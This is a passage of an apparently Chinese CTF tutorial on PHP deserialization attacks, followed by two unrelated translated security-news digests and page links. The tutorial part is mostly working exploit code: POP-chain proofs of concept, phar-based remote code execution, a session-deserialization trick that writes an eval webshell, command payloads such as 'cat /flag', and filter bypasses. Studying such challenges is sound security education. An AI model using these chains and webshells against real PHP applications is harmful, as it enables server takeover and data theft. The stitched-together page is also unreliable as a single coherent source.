$a="TXW4EVER";   private $fun='abc';   public function __set($name, $value)   {   $this->$name=$value;   if ($this->fun = "sixsixsix"){   strtolower($this->a);   }   }   }   if(isset($_GET['ser'])){   @unserialize($_GET['ser']);   }else{   highlight_file(__FILE__);   }   //func checkcheck($data){   // if(preg_match(......)){   // die(something wrong);   // }   //}   //function hint(){   // echo ".......";   // die();   //}   ?> 查看了一下提示发现什么也没有 if(isset($_GET['ser'])){@unserialize($_GET['ser']); 这是头部 这是尾部 public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever); } 从__invoke()这里开始触发 __invoke() 当脚本尝试将对象调用为函数时触发 return $bb()而这里有一个函数调用 那么$bb是class Nisa的对象就会调用 __invoke 触发$bb要调用 __toString() 而__toString()是 当一个对象被当作一个字符串被调用。 找类似echo 这种代码,而这里有个strtolower strtolower是在set方法里的 __set触发 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用 在four类的中有private $fun='abc'; Ilovetxw类中的__call方法访问了fun这个变量 function __call($from,$val){ $this->fun=$val[0]; } 而__call方法 对不存在的方法或者不可访问的方法进行调用就自动调用 TianXiWei类中的wakeup会触发call $this->ext->nisa($this->x); nisa()这个方法并不存在 这里详细说下 <?php   class nisa   {   public $b="";   }   class TianXiWei{   public $ext;   public $x;   public function __wakeup()   {   $this->ext->nisa($this->x);   }   }   class test   {   public $a ="";   public function __call($a,$b)   {   echo "call";   }   }   $a=new TianXiWei();   $a->ext=new test();   //echo urlencode(serialize($a));   echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}   //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";} wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果 链子很清晰了 TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke POC <?php   class NISA   {   public $fun = "";   public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过   }   class TianXiWei{   public $ext;   public $x;   }   class Ilovetxw{   public $huang;   public $su;   }   class four{   public $a="TXW4EVER";   private $fun='abc';   }   $a=new TianXiWei();//从这里下手触发__wakeup   $a->ext=new Ilovetxw();//触发__call   $a->ext->huang=new four();//触发__set   $a->ext->huang->a=new Ilovetxw();//触发__tosrting   $a->ext->huang->a->su=new NISA();//触发__invoke   echo urlencode(serialize($a)); 相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造 phar反序列化 单的理解phar反序列化 phar是什么? phar是php提供的一类文件的后缀名称,也是php伪协议的一种。 phar可以干什么? 将多个php文件合并成一个独立的压缩包,相对独立 不用解压到硬盘就可以运行php脚本 支持web服务器和命令行运行 注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件 phar文件的的结构 一个phar文件通常由四部分组成, 1. a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。 2. a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。 3. the file contents:被压缩文件的内容。这里不是重点,内容不影响 4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾 <?php class Test {//自定义 } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动 生成一个phar.phar文件 拉进010分析 可以清楚看到一个标识符,一个序列化,一个文件名 有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下 is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file <?php   highlight_file(__FILE__);   class Test {//自定义   public $name='phpinfo();';   }   $phar=new phar('rce.phar');   $phar->startBuffering();   $phar->setStub("<?php __HALT_COMPILER(); ?>");   $o=new Test();   $phar->setMetadata($o);   $phar->addFromString("flag.txt","flag");//添加要压缩的文件   //签名自动计算   $phar->stopBuffering();   ?> 这里用file_get_contents测试下 <?php class test{ public $name=''; public function __destruct() { eval($this->name); } } echo file_get_contents('phar://rce.phar/flag.txt'); ?> 漏洞利用条件 phar文件要能够上传到https://cloud.tencent.com/product/cvm?from=10680端。 要有可用的魔术方法作为“跳板”。 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。 姿势 compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 可以用于文件上传,有文件上传头限制,还可以这样,例如GIF $phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif [SWPUCTF 2021 新生赛]babyunser phar反序列化 查看class.php获取源码 <?php   class aa{   public $name;   public function __construct(){   $this->name='aa';   }   public function __destruct(){   $this->name=strtolower($this->name);   }   }   class ff{   private $content;   public $func;   public function __construct(){   $this->content="<?php @eval($_POST[1]);?>";   }   public function __get($key){   $this->$key->{$this->func}($_POST['cmd']);   }   }   class zz{   public $filename;   public $content='surprise';   public function __construct($filename){   $this->filename=$filename;   }   public function filter(){   if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){   die('这不合理');   }   }   public function write($var){   $filename=$this->filename;   $lt=$this->filename->$var;   //此功能废弃,不想写了   }   public function getFile(){   $this->filter();   $contents=file_get_contents($this->filename);   if(!empty($contents)){   return $contents;   }else{   die("404 not found");   }   }   public function __toString(){   $this->{$_POST['method']}($_POST['var']);   return $this->content;   }   }   class xx{   public $name;   public $arg;   public function __construct(){   $this->name='eval';   $this->arg='phpinfo();';   }   public function __call($name,$arg){   $name($arg[0]);   }   } <?php   error_reporting(0);   $filename=$_POST['file'];   if(!isset($filename)){   die();   }   $file=new zz($filename);   $contents=$file->getFile();   ?>   <br>   <textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?> 构造链子 先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key), __get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性 访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content, aa::destruct()->zz::toString()->zz::write->xx->ff::__get() 看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问 如下代码进行测试 <?php   class test   {   private $a;   public $b;   public function __construct($a,$b)   {   $this->a="aaa";   $this->b="bbb";   }   public function __get($name)   {   // TODO: Implement __get() method.   $this->a="__get";   $this->b="111";   }   public function __destruct()   {   echo $this->a;   echo $this->b;   }   }   $a =new test("s","s");   //echo $a->a;   $b=serialize($a);   unserialize($b); 注释掉echo 输出是aaabbbaaabbb 去掉注释输出是get111get111 如此那么构造POP链子 <?php   class aa{   public $name;   }   class ff{   private $content;   public $func;   public function __construct(){   $this->content=new xx();//这里New xx   }   }   class zz{   public $filename;   public $content;   }   class xx   {   public $name;   public $arg;   }   $a=new aa();   $c=new ff();   $a->name=new zz();   $c->func="system";   $a->name->filename=$c;   $phar = new Phar("flag.phar"); //后缀名必须为phar   $phar->startBuffering();   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub   //$o = new Test();   $phar->setMetadata($a); //将自定义的meta-data存入manifest   $phar->addFromString("test.txt", "test"); //添加要压缩的文件   //签名自动计算   $phar->stopBuffering(); 上传之后使用phar协议读取 file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag session反序列化 session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。 而session是以文件方式存储的 直接找一道题做做 题目来自ctfshowWEB263 打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch dirsearch -u "http://invalid.uri -e* 存在源码泄露,访问http://www.zip,下载下来源码,关键代码 index.php源码 */   error_reporting(0);   session_start();   //超过5次禁止登陆   if(isset($_SESSION['limit'])){   $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);   }else{   setcookie("limit",base64_encode('1'));   $_SESSION['limit']= 1;   }   ?> check.php源码 <?php   /*   # -*- coding: utf-8 -*-   # @Author: h1xa   # @Date: 2020-09-03 16:59:10   # @Last Modified by: h1xa   # @Last Modified time: 2020-09-06 19:15:38   # @email: h1xa@ctfer.com   # @link: https://ctfer.com   */   error_reporting(0);   require_once 'inc/inc.php';   $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);   if($GET){   $data= $db->get('admin',   [ 'id',   'UserName0'   ],[   "AND"=>[   "UserName0[=]"=>$GET['u'],   "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破   ]   ]);   if($data['id']){   //登陆成功取消次数累计   $_SESSION['limit']= 0;   echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));   }else{   //登陆失败累计次数加1   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);   echo json_encode(array("error","msg"=>"登陆失败"));   }   } inc.php中有一个这个 ini_set('session.serialize_handler', 'php'); 而session存储格式(序列化)其中有这两种 ini_set('session.serialize_handler', 'php'); ini_set('session.serialize_handler', ' php_serialize '); 测试一下看这两个什么区别 <?php ini_set('session.serialize_handler','php'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a; 在tmp下找到这个文件打开看 是 user|O:5:"test1":1:{s:1:"a";s:4:"test";}<?php ini_set('session.serialize_handler','php_serialize'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}} 两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容 inc.php中关键代码 class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆 可以利用这个函数写一句话木马 而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了 <?php   class User   {   public $username;   public $password;   function __construct($username, $password)   {   $this->username = $username;   $this->password = $password;   }   }   $a=new User('1.php','<?php eval($_POST["1"]);?>');   echo base64_encode("|".serialize($a)); 访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit') 第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit') ,因为有base64_decode,所以这里我们还有base64_encode一下 抓包改limit值 然后发包,接着访问check.php 实现反序列化shell的写入 然后变更请求方法,注意直接右键选择变更POST请求 tricks总结 16进制绕过字符过滤 //O:1:"A":1:{s:2:"ab";s:4:"test";} //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制 php类名对大小写不敏感 ctfshowWEB266 <?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->pas 很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常, 这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写 直接这样 $cs = file_get_contents('php://input');采用php伪协议传参 直接提交POST数据就行 <?php   class cTfshow   {   }   $a=new cTfshow();   echo (serialize($a)); +号绕过 ctfshowWEB258 <?php   error_reporting(0);   highlight_file(__FILE__);   class ctfShowUser{   public $username='xxxxxx';   public $password='xxxxxx';   public $isVip=false;   public $class = 'info';   public function __construct(){   $this->class=new info();   }   public function login($u,$p){   return $this->username===$u&&$this->password===$p;   }   public function __destruct(){   $this->class->getInfo();   }   }   class info{   public $user='xxxxxx';   public function getInfo(){   return $this->user;   }   }   class backDoor{   public $code;   public function getInfo(){   eval($this->code);   }   }   $username=$_GET['username'];   $password=$_GET['password'];   if(isset($username) && isset($password)){   if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){   $user = unserialize($_COOKIE['user']);   }   $user->login($username,$password);   }   可见增加了过滤,过滤例如如下o:123:、c:456: s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo() 正常反序列化肯定会有o和c这种 如果O:后面不跟数字的话就可以把这个绕过去了 这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的 这里把O:后面加上一个加号 <?php   error_reporting(0);   highlight_file(__FILE__);   class ctfShowUser{   public $username='xxxxxx';   public $password='xxxxxx';   public $isVip=false;   public $class = 'info';   public function __construct(){   $this->class=new backDoor();   }   public function __destruct(){   $this->class->getInfo();   }   }   class backDoor{   public $code="phpinfo();";   public function getInfo(){   eval($this->code);   }   }   $a=new ctfShowUser();   //echo urlencode(serialize($a));   $a=serialize($a);   $a=preg_replace('/[oc]+:/i','O:+',$a);   echo urlencode($a); 利用&使两值恒等 题目ctfshow web265 <?php   error_reporting(0);   include('flag.php');   highlight_file(__FILE__);   class ctfshowAdmin{   public $token;   public $password;   public function __construct($t,$p){   $this->token=$t;   $this->password = $p;   }   public function login(){   return $this->token===$this->password;   }   }   $ctfshow = unserialize($_GET['ctfshow']);   $ctfshow->token=md5(mt_rand());   if($ctfshow->login()){   echo $flag;   } $ctfshow->login()这个成立才给flag $ctfshow->token=md5(mt_rand());但是这个是随机的 这个题考察php按地址传参 <?php   $a='11';   $b=&$a;   $b=1;   echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化   //1 所以我们可以直接这样 <?php   class ctfshowAdmin{   public $token;   public $password;   public function __construct(){   $this->password = &$this->token;   }   }   $a=new ctfshowAdmin();   echo ( urlencode(serialize($a))); php7.1+反序列化对类属性不敏感 题目来自[网鼎杯 2020 青龙组]AreUSerialz <?php   include("flag.php");   highlight_file(__FILE__);   class FileHandler {   protected $op;   protected $filename;   protected $content;   function __construct() {   $op = "1";   $filename = "/tmp/tmpfile";   $content = "Hello World!";   $this->process();   }   public function process() {   if($this->op == "1") {   $this->write();   } else if($this->op == "2") {   $res = $this->read();   $this->output($res);   } else {   $this->output("Bad Hacker!");   }   }   private function write() {   if(isset($this->filename) && isset($this->content)) {   if(strlen((string)$this->content) > 100) {   $this->output("Too long!");   die();   }   $res = file_put_contents($this->filename, $this->content);   if($res) $this->output("Successful!");   else $this->output("Failed!");   } else {   $this->output("Failed!");   }   }   private function read() {   $res = "";   if(isset($this->filename)) {   $res = file_get_contents($this->filename);   }   return $res;   }   private function output($s) {   echo "[Result]: <br>";   echo $s;   }   function __destruct() {   if($this->op === "2")   $this->op = "1";   $this->content = "";   $this->process();   }   }   function is_valid($s) {   for($i = 0; $i < strlen($s); $i++)   if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))   return false;   return true;   }   if(isset($_GET{'str'})) {   $str = (string)$_GET['str'];   if(is_valid($str)) {   $obj = unserialize($str);   }   } 看着很多,其实没什么东西, 关键要利用到这里 大致看了write函数或者read函数,都可以尝试利用得到flag 但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数 __destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法 接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被 is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符 POC如下 <?php   class FileHandler {   public $op=2;   public $filename="flag.php";   public $content="111";   pr   }   $a = new FileHandler();   echo urlencode(serialize($a));   ?> payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
网络安全日报 2023年01月28日
1、黑客在Earth Bogle攻击活动中分发NjRAT恶意软件 https://www.hackread.com/njrat-earth-bogle-campaign/ 研究人员发现了一个名为Earth Bogle的当前活跃的活动,攻击者正在其中分发NjRAT(又名 Bladabindi)。他们的目标是中东和北非的受害者。攻击者通过以地缘政治为主题的诈骗来引诱用户传播臭名昭著的NjRAT恶意软件。根据研究人员的说法,攻击者使用files.fm和failiem.lv等公共云存储服务来托管通过受感染的Web服务器分发的恶意软件,该活动自2022年年中以来一直活跃。 2、非法的Solaris暗网市场遭竞争对手Kraken入侵 https://www.bleepingcomputer.com/news/security/illegal-solaris-darknet-market-hijacked-by-competitor-kraken/ Solaris是一个专注于毒品和非法物品的大型暗网市场,已被名为“Kraken”的较小竞争对手接管,后者声称已于2022年1月13日入侵了它。Solaris的Tor网站目前重定向到Kraken,区块链监控专家报告说,在2022年1月13日之后,与该网站相关的加密货币地址没有任何变化。Solaris市场在几个月前出现,继Hydra被占领后,试图占领当时动荡的市场的一部分,该市场迅 3、研究人员披露了可导致WAGO产品中敏感数据泄露的漏洞 https://portswigger.net/daily-swig/wago-fixes-config-export-flaw-threatening-data-leak-from-industrial-devices 安全研究人员披露了一个漏洞,该漏洞可能导致WAGO产品中的敏感数据暴露和凭证盗窃。WAGO总部位于德国,在全球设有办事处,产品包括PLC控制器、触摸面板、传感器和工业开关。近日,ONEKEY的研究人员发布了一份安全咨询报告,探讨了影响一系列WAGO解决方案的两个漏洞。其中一个漏洞被追踪为CVE-2022-3738,在 WAGO Web管理界面文件download.php中被 4、百胜餐饮集团遭勒索软件攻击迫使英国300家门店关闭 https://www.bleepingcomputer.com/news/security/ransomware-gang-steals-data-from-kfc-taco-bell-and-pizza-hut-brand-owner/ 百胜餐饮集团是肯德基、必胜客、塔可钟和哈比特汉堡快餐连锁店的快餐品牌运营商,已成为勒索软件攻击的目标,迫使英国300家门店关闭。该公司在一份新闻声明中解释道:“在检测到事件后,该公司立即启动了响应协议,包括部署遏制措施,例如使某些系统离线和实施增强的监控技术。”该公司还发起了一项调查,聘请了行业领先的网络安全和取证专家提供服务,并通知了联邦执法部门。 英 5、Netcomm路由器被发现存在多个严重的漏洞 https://securityaffairs.com/140967/iot/netcomm-tp-link-routers-critical-flaws.html Netcomm路由器中被发现了几个严重漏洞,这些漏洞是基于堆栈的缓冲区溢出和身份验证绕过,分别被跟踪为CVE-2022-4873和CVE-2022-4874。这两个漏洞都影响到运行R6B035之前软件版本的Netcomm路由器型号NF20MESH、NF20和NL1902。通报指出,一旦攻击者获得了对受影响设备的未授权访问权限,他就可以使用这些入口点访问网络上的其他系统,或者破坏从内部网络传输的数据的可用性、完整性或机密性。 6、思科修复了Unified CM中的SQL注入漏洞 https://securityaffairs.com/141039/security/cisco-unified-communications-manager-cve-2023-20010.html 思科在Unified Communications Manager (Unified CM) 和Unified Communications Manager Session Management Edition(Unified CM SME)中修复了一个高危SQL注入漏洞,跟踪为CVE-2023-20010(CVSS得分为8.1) 。漏洞CVE-2023-20010存在于Unified CM和 7、研究显示近期超过三分之一的ICS漏洞仍没有可用补丁 https://www.infosecurity-magazine.com/news/over-third-recent-ics-bugs-no/ 最新研究显示,在2022年下半年发布的工业控制系统(ICS)中,35%的CVE仍然没有可用的补丁,这让他们的供应商感到失望。SynSaber的2022年下半年ICS漏洞报告分析了2022年下半年通过网络安全和基础设施安全局(CISA) ICS咨询报告的926个CVE。它发现,ICS资产所有者不得不应对已公布的CVE的增加,而且在许多情况下,他们的系统由于缺乏供应商更新而暴露在外。SynSaber认为,延迟通常是由于原始设备制造商(OEM)供应商通 8、T-Mobile称黑客窃取了3700万客户的数据 https://www.govinfosecurity.com/t-mobile-says-hackers-stole-data-37-million-customers-a-20984 美国第三大无线运营商T-Mobile告诉联邦监管机构,它发现一个攻击者窃取了3700万客户的身份信息。T-Mobile是电信运营商Sprint和T-Mobile US在2020年合并后出现的公司,该公司在提交给美国证券交易委员会的一份文件中尽量减少了此次泄密的影响。该公司表示,此次泄露没有涉及支付卡、政府标识符或密码。该公司指出,一个应用程序编程接口暴露了包括姓名、电子邮件、电话号码和出生日期在内的数据,这 9、PayPal称黑客在撞库攻击中侵入了约3.5万个账户 https://www.infosecurity-magazine.com/news/credential-stuffing-campaign-35000/ PayPal通知数万名美国客户,他们的账号在一个多月前被成功登录。未经授权的访问发生在去年12月6日至12月8日之间,之后该公司意识到发生了什么,并消除了威胁。该公司在发给缅因州总检察长办公室的违规通知信中说:“在此期间,未经授权的第三方能够查看并可能获得某些PayPal用户的一些个人信息。”PayPal表示,泄露的个人信息可能包括客户姓名、地址、社会安全号码、个人税务识别号码和出生日期。 10、研究人员发现名为空白图像的新攻击在全球范围内蔓延 https://gbhackers.com/blank-image-attack/ 研究人员发现,一种名为“空白图像”的新攻击正在全球蔓延,黑客在HTML附件中包含空白图像。当打开附件时,用户会被自动重定向到恶意URL。这个电子邮件活动以一个据称来自DocuSign的文件开始,这似乎是非常合法的。在文件直接提供给用户后,要求用户审阅并签署文件。DocuSign的链接将用户带到DocuSign官方网站。当用户单击HTM附件时,黑客启动的一系列操作就开始了。如果受害者点击“查看已完成的文档”按钮,就会被引导到合法的DocuSign网页。但是,如果用户试图打开HTML附件,就会启动“空白图像”攻击 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月19日
1、Adobe Magento 漏洞的安全补丁被发现容易被绕过 https://www.securityweek.com/vendors-actively-bypass-security-patch-year-old-magento-vulnerability电子商务安全公司 Sansec 警告说,Adobe 于 2022 年 2 月发布的安全补丁,以解决 CVE-2022-24086,这是 Adobe Commerce 和 Magento 商店中的一个关键邮件模板漏洞。CVE-2022-24086 错误(CVSS 得分为 9.8)被描述为结帐过程中的输入验证错误。它可以被利用来实现任意代码执行,在为其提供补丁后大约一周观察到在野利用。最初的修复被发现很容 2、源代码安全审计在Git 中发现多个漏洞 https://www.securityweek.com/critical-git-vulnerabilities-discovered-source-code-security-audit源代码安全审计导致在广泛使用的分布式版本控制系统 Git 中发现了多个漏洞。由 OSTIF 赞助并由 X41 和 GitLab 进行的安全审计结果于本周公布。Git 可能成为威胁行为者的诱人目标,因为影响系统的漏洞可能被利用来破坏开发人员系统或源代码存储库。审计期间发现的安全漏洞包括两个严重、一个高、一个中和四个低严重性错误,审计员还共享了二十多份信息说明。已为严重漏洞分配了 CVE 标识符 CVE-202 3、TP-Link、NetComm 路由器中发现远程代码执行漏洞 https://www.securityweek.com/remote-code-execution-vulnerabilities-found-tp-link-netcomm-routers在TP-Link和NetComm路由器型号中发现的漏洞,可被利用来实现远程代码执行(RCE)。在 TP-Link WR710N-V1-151022 和 Archer-C5-V2-160201 SOHO(小型办公室/家庭办公室)路由器中发现了两个安全缺陷,允许攻击者执行代码、崩溃设备或猜测登录凭据。第一个漏洞为CVE-2022-4498,被描述为HTTP基本认证模式下收到的精心制作的数据包导致堆溢出。攻击者 4、GE Historian 中的漏洞被用来进行 ICS 黑客活动、破坏工业生产 https://www.securityweek.com/hackers-can-exploit-ge-historian-vulnerabilities-ics-espionage-disruptionGE 的 Proficy Historian 产品中发现的漏洞可能会被黑客用于间谍活动,并对工业环境造成破坏和破坏。美国网络安全和基础设施安全局(CISA)周二向各组织通报了这些漏洞,同时工业网络安全公司Claroty(其研究人员发现了这些漏洞)发布了相关博文,详细介绍了这些漏洞。 5、大约18000名日产北美客户受到第三方软件开发商数据泄露的影响 https://www.securityweek.com/18k-nissan-customers-affected-data-breach-third-party-software-developerNissan North America 通知大约 18,000 名客户,他们的个人信息在第三方服务提供商的数据泄露中暴露。日产在发给受影响客户的通知信中指出,此次违规发生在日产向服务提供商提供的数据无意中暴露在互联网上之后。 6、HR平台myrocket.co暴露了数十万员工和数百万求职者的个人信息 https://securityaffairs.com/140957/data-breach/myrocket-hr-platforms-data-leak.htmlmyrocket.co是为印度公司提供“端到端”招聘解决方案和人力资源服务的网站。2022 年 12 月 12 日,Cybernews 研究团队发现了一个可公开访问的数据库,其中包含属于 myrocket.co 的 260GB 敏感个人数据。据估计,此次泄密影响了近 20 万名员工和近 900 万求职者的信息。 7、Earth Bogle 运动在中东和北非部署 NjRAT 特洛伊木马 https://thehackernews.com/2023/01/earth-bogle-campaign-unleashes-njrat.html一个被称为Earth Bogle的持续活动正在利用地缘政治主题为诱饵,向中东和北非的受害者部署NjRAT远程访问木马。趋势科技在周三发表的一份报告中说:"威胁者使用公共云存储服务,如files[.]fm和failiem[.]lv来托管恶意软件,而被攻击的网络服务器则分发NjRAT”。 8、FTX 称 4.15 亿美元的加密货币遭到黑客攻击 https://www.cnbc.com/2023/01/17/ftx-says-415-million-of-crypto-was-hacked.html破产的加密货币公司FTX周二表示,价值4.15亿美元的加密货币从该交易所的账户中被黑掉,占该公司试图收回的已确认资产的相当大一部分。 9、Oracle 2023 年首次安全更新包括 327 个新补丁 https://www.securityweek.com/oracles-first-security-update-2023-includes-327-new-patches甲骨文周二宣布发布其 2023 年首个重要补丁更新,其中包括 327 个新的安全补丁。超过 70 个修复程序解决了严重的漏洞。超过200个补丁解决了无需认证即可远程利用的安全缺陷。一些已解决的漏洞影响到多个产品。 10、诺顿LifeLock表示92.5万个账户遭到了撞库攻击 https://therecord.media/norton-lifelock-says-925000-accounts-targeted-by-credential-stuffing-attacks/拥有诺顿LifeLock的母公司Gen Digital声称,在他们的安全团队发现大量的诺顿账户登录尝试后,92.5万个不活跃和活跃的账户被锁定。该事件主要围绕诺顿密码管理器用户。一位发言人说:“系统没有受到损害,它们是安全的,可运行的,不法分子利用在其他地方找到的凭据(如暗网),并发起自动攻击,以访问其他不相关的账户,我们一直在密切监控,标记可疑登录尝试的账户,并主动要求这些客户在登录时重置密码 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页